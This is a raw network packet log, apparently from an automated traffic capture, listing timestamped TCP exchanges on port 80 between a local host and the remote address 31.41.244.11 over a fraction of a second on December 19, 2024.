                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.354896069 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.354949951 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.355009079 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.355061054 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.355861902 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.355916977 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.355979919 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.356025934 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.356839895 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.356894016 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.356990099 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.357033968 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.357809067 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.357862949 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.357940912 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.357980967 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.358800888 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.358844995 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.358902931 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.358989954 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.359752893 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.359792948 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.359865904 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.359909058 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.360913992 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.360930920 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.360975981 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.360986948 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.361700058 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.361743927 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.361860037 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.361922026 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.362679958 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.362720013 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.362787962 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.362826109 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.363651991 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.363692045 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.363780022 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.363816977 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.364599943 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.364639997 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.364721060 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.364758968 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.365597963 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.365657091 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.365709066 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.365752935 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.366548061 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.366590023 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.366687059 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.366728067 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.367528915 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.367569923 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.367634058 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.367672920 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.368504047 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.368545055 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.368886948 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.368926048 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.369537115 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.369575977 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.369653940 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.369693995 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.370440960 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.370479107 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.370596886 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.370635033 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.371428013 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.371467113 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.371552944 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.371592045 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.372421980 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.372497082 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.372550011 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.372590065 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.373383999 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.373428106 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.373511076 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.373548985 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.374339104 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.374382019 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.374480009 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.374517918 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.375307083 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.375353098 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.375421047 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.375461102 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.376266003 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.376327038 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.376389980 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.376435041 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.377264023 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.377309084 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.377377033 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.377417088 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.378228903 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.378271103 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.378334045 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.378375053 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.379225969 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.379265070 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.379388094 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.379427910 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.380170107 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.380208969 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.380280018 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.380320072 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.381164074 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.381207943 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.381268024 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.381306887 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.382118940 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.382158041 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.382294893 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.382334948 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.383116007 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.383178949 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.383239031 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.383275986 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.384166956 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.384207010 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.384262085 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.384306908 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.385111094 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.385152102 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.385190964 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.385229111 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.386004925 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.386162996 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.386219978 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.386265039 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.387095928 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.387123108 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.387141943 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.387159109 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.387953997 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.387991905 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.388087988 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.388128042 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.388919115 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.388977051 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.389045954 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.389512062 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.389935970 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.389975071 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.390021086 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.390059948 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.390973091 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.391014099 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.391227007 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.391266108 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.391772032 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.391812086 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.533091068 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.533286095 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.533339977 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.533588886 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.533710003 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.533750057 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.534553051 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.534687042 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.534734011 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.535552979 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.535593987 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.535665989 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.536525965 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.536566019 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.536627054 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.537260056 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.537466049 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.537509918 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.537578106 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.537616968 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.538427114 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.538469076 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.538563967 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.538625956 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.539541006 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.539618015 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.539764881 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.539800882 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.540371895 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.540414095 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.540503979 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.540543079 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.541342020 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.541394949 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.541456938 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.541498899 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.542301893 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.542362928 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.542445898 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.542484045 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.543308973 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.543425083 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.543462992 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.544294119 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.544440031 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.544480085 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.545236111 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.545277119 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.545387030 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.546097994 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.546195984 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.546236038 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.546338081 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.546376944 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.547245026 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.547322035 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.547359943 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.548177958 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.548219919 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.548291922 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.548340082 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.549134970 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.549179077 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.549254894 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.549293995 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.550096035 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.550137997 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.550228119 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.550276995 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.551086903 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.551131010 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.551212072 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.551249981 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.552047968 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.552186966 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.552227020 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.553026915 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.553160906 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.553206921 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.553991079 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.554037094 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.554100037 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.554527998 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.554958105 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.555000067 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.555097103 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.555147886 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.556029081 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.556104898 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.556274891 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.556385994 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.556914091 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.556957960 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.557046890 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.557090998 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.557890892 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.558018923 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.558059931 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.558880091 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.558922052 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.559010983 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.559047937 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.559823990 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.559917927 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.559962988 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.560149908 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.560806036 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.560945034 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.560982943 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.561778069 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.561893940 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.561929941 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.562757969 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.562892914 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.562930107 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.563709974 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.563746929 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:13.563857079 CET804980131.41.244.11192.168.2.5
